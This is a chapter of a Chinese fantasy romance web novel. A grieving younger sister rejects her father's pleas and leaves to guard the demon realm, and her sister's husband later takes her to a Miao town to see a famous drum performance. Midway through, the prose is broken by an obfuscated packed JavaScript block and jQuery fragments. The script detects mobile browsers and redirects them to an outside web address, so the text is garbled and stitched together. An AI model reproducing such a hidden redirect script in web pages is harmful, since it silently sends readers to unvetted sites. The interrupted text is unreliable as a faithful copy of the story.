104. 长风赐我三尺剑
作品:《仙狐竹马绕青梅》 “老山主既然去了,就定能把人救回来,你倒不必太过着急了。
这一日日的不吃不喝,别人还没被捞出来,你倒先昏过去了。”
接过夫君递来的参汤老老实实喝下的人,知道此刻的阴律司里正是紧张的时候,他们去了也是添乱。只好又回到院中坐下,往嘴里塞了几口点心,就开始抠手等着前方的消息。
这一日的日出同往常一样好看,只是大家都无心去看朝霞。直到了临近中午的时候,上山的路上却忽然多出了一老一小两个身影,定睛细看,发现来的正是妹妹和老山主时。
几人都高兴得蹦了起来,然而上山的师徒二人脸上却看不出半点情绪。
到了院中就立刻把妹妹的手交到自己手里的老山主显然也不愿意在昆仑多待。他深深地望了一眼站在身后脸上毫无表情的徒儿,长叹了一口气才说道:
“雪儿在阴律司跪了整整三个时辰,一个字也没说。
老夫费了九牛二虎之力把她救出来后,她才说无颜面对师兄弟们,不愿意再回蓬莱。
你们凡界的话本子里,常常有一出宗门老祖为了宗门天骄献祭自己的戏码。今日我虽不如那话本子里的老祖一般英勇,却也是尽了全力救出了我最看重的徒儿。
如今明珠完璧归赵,我也该功成身退啦。若你……若你有朝一日,想回来了,只要老夫还在,山门永远为你敞开。”
说完这些的白发老者转身就朝着山下走去,只挥手示意大家不要再送。站在他身后的望雪只对着那个背影直直地跪了下去,重重的磕了三个头,喊出了今日的第一句话:
“师父保重,若有一日蓬莱需要徒儿出现,徒儿定万死不辞。
吾以性命起誓,此生刀剑难屈,死以难折,唯躬师门不变。”
连被囚车押走时,都抹去脸上血泪毫无表情的妹妹,终于在连日的波折后,伏在地上痛哭了起来。跟着红了眼眶的小狐狸,也在心里缅怀起那个刚离去不久的少年来。
神族的寿命长达千年,早早地遇见了惊鸿一现的人,又早早地失去了对方,从此只能对着那短暂又深刻的记忆,日日回想夜夜落泪,其实是种巨大的折磨。
“你不肯回去蓬莱,便同为父一同云游四处散散心吧。
等日后你不想四处游历了,便回江南给你找个地方歇着。”
父亲伸手想拉起地上痛哭的小女儿,却被对方迅速地挣开了:
“小女已经自请去镇守妖界,也获得了天帝准允,即日便要出发,就在此地先行拜别爹娘了。
日后每逢年节,我会和从前一样回去看你们的。”
妹妹的话又让人想起那一日,飘荡在妖界上空,示意着大难临头,求人来助的骨风筝来,想来那儿死伤过半,白骨成山,刚继任的妖族公主也已经牺牲了。
妖王这一生艰难崎岖,为了爱人不争青山只求平安,到了最后,却落得妻子病重离世,一双儿女都凄然赴死的结局,实在是叫人唏嘘。
“你四岁开蒙,乳牙都没换完就入了圣山拜师。
到了今日,你要舍弃通身神力修为,为了那个妖族王子,去守那不毛之地?
那你这些年的苦寒和努力算什么,除了情爱你就没有别的抱负了吗?”
父亲的心痛和不舍难以抑制,他死死地抓着眼睛里布满血丝的小女儿,眼泪顺着脸颊流进了嘴里。妖族是三界禁地,平日里有瘴毒又有频繁的山火,的确算不上是个好去处。
“难道爹就没有为了情爱不顾一起的时候吗?
打我和姐姐哥哥出生起,爹就一直围着娘围着这个家打转,您七岁封了神君得了属地,可却在最好的年纪为了娘放弃了一切。
您后悔吗?有的人有的事,发生过了就再也无法忘却了,难道您不明白吗?
我这几日时常在想,若时光重来,我能不能克制己心,放过自己也放过玄知,可我思来想去,还是不悔过去的一切。
长风赐我三尺剑,青天却用它斩了我的意中人,我便守着他长大的地方,守好他放不下的那群人。”
妹妹的哭喊显然用尽了全身的力气,整个人都不住地发着抖。
孟望舒望着那具看上去完好,却早就从里面碎掉了的躯壳,只觉得心如刀绞。那个最小最明媚的少女,似乎在短短的几天里就心死如垂暮,当年那个仙考里拔得头筹,翻了好多山头来找自己讨赏的丫头。
似乎在几天前的那场浩劫里,被抽走了所有的灵魂和志气,年纪尚小,却心如枯木,居然是那个父母和自己捧在手心里的宝贝,早早写在生死簿上的命数。
“走,姐姐送你去,送你去妖界。”
无暇安慰伤心的父亲,扶起妹妹的人立刻叫来了自己的麒麟,自打嫁进昆仑,她已经许久不曾坐过这只青丘的坐骑了。总是坐在飞马拉的鎏金马车里穿梭三界的山色湖光。
可今日,她却忽然想再用这只麒麟,像小时候一样,驮着妹妹,两人挤在一起,再在云间漫游一次。
只可惜去往妖界的路太短,令人还来不及从回忆里拔脚,转眼就要目送着至亲的背影离开。
“不必担心我,姐姐,他长大的地方,是这世间,如今最令我安心的地方。”
转身走进另一个世界的妹妹还是穿着那身浅碧的衣裳,在妖众们的欢呼声中慢慢走进了前些日子玄知被赶出来的宫殿。
那个为了爱人去死的少年,在忘川河边,不知道能不能看见,他以命相守的少女,终于以神族长长的性命相抵,为他永远地守住了那些同样困于山火熔浆里的子民们。
“我们回昆仑吧,爹娘和宜苏还在那儿等着呢。”
直到妹妹的身影再也看不见,心情低落的孟望舒才依依不舍地转过身,看向了身后的夫君,与至亲相聚的时光太短,肩上的担子却又太重,身为昆仑的新后,她又该回到那座神殿里了。
听见妻子说话的年轻神君,却没有立刻答话,他抱起身前的小狐狸上了麒麟,像方才她抱住妹妹一样,把爱人紧紧地圈在了怀里,任由那个放声悲哭的女子,用泪水打湿了自己的衣襟。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868593|155451||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>此刻怀中的女子,不是青丘万险当先的国主,也不是需要撑起半壁江山的昆仑新后,她在他怀里的时候,只是他的妻,是那个在江都烟火里灿然回首的少女,是他,在世上最深的羁绊。
“昆仑这几日太平得很,你父母也有白少春他们陪着。
你不妨陪我去一趟苗寨附近,咱们去周围的镇子上住几日,散散心吧。”
等到哭泣的人声音稍微小了一些,目的地也就在眼前。
陆伯都才怜爱地低下头亲了亲爱人的头顶,黑苗与青丘和孟家的渊源都极深,但这位孟国主,怕是跟自己一样,第一回来到这满山灯火,遍地竹楼的地方。
等到了镇子上,望着周围穿着五彩斑斓的裙子,身上银饰叮当作响的苗女们,脑子里还是有些懵的人有些不解地看着把她带来这儿的人。
苗寨可不是什么欢迎异族热情好客的地方,就算夫君要带人散心,这儿也不是什么首选吧。看出她的疑惑把她拉进一间酒楼的人,掀开了一间包房的布帘,把真相留给了里面的人来说。
屋内坐着的倒不是别人,一个是这两日神出鬼没的弟弟,另一个就是贵为鲛人国主,鲜少离开北海的弟妹了。
“这苗家美食虽然算不上绝味,却很是惊艳。
你抓紧时间用些,一会儿还要跟我们去办正事儿呢。”
孟白藏撕下一大块烤鱼塞进了姐姐的碗里,在姐夫的关子后又卖了个关子。
见自己光拨弄着鱼肉不吃,那头猪才再也憋不住肚子里的话,张口解释起来:
“这镇子上有一家苗族女子开的销金窟。
那可真是五尺高台,金马玉堂的神仙地方,别说在这偏僻地方算是稀罕,便是开到江南,那也是一等一的好地方。
里头的小娘子们,各个施朱敷白,露着一截嫩豆腐一样的腰,啧啧……”
弟弟的话没有说完,就被身边淳姬的眼神吓得生生咽了回去。把鱼肉喂进她嘴里的神君,只好接着说下去:
“销金窟再华丽,也只是个销金窟。
那地方绝妙之处,倒不是这些,而是传闻中,五尺高台上的一面鼓,那面鼓平日里非花魁不得碰,可只要每日月亮行至最高点,蟒皮的胡琴一响,那花魁敲响了那面鼓开始。
在座的人就都如坠云间,眼前似有百花齐放,万蝶穿花的奇景,叫人比吃醉了就还高兴。
九州之内,不少文人雅士,豪商高官,为了听别无二家的玄妙鼓声,都不惜跑断了腿再坐上好几日的船来瞧个新奇。”
原来在座的两位男士,拐了这么大一个弯,居然是为了带自己来看表演。
在心里翻了好几个白眼的人不好当着弟妹发作,只好剥开一枚荷叶裹着的糍粑塞进了嘴里。可想了想又气不打一处来,把心里的话说了出来,糯米甜糯,从牙齿一直粘到了喉咙口。
叫张嘴骂人的孟望舒,话一出口倒磕磕绊绊地像撒娇:
“陆…陆伯都,你把……你把我叫来……是…是为了同你,……去青楼里看人打鼓?”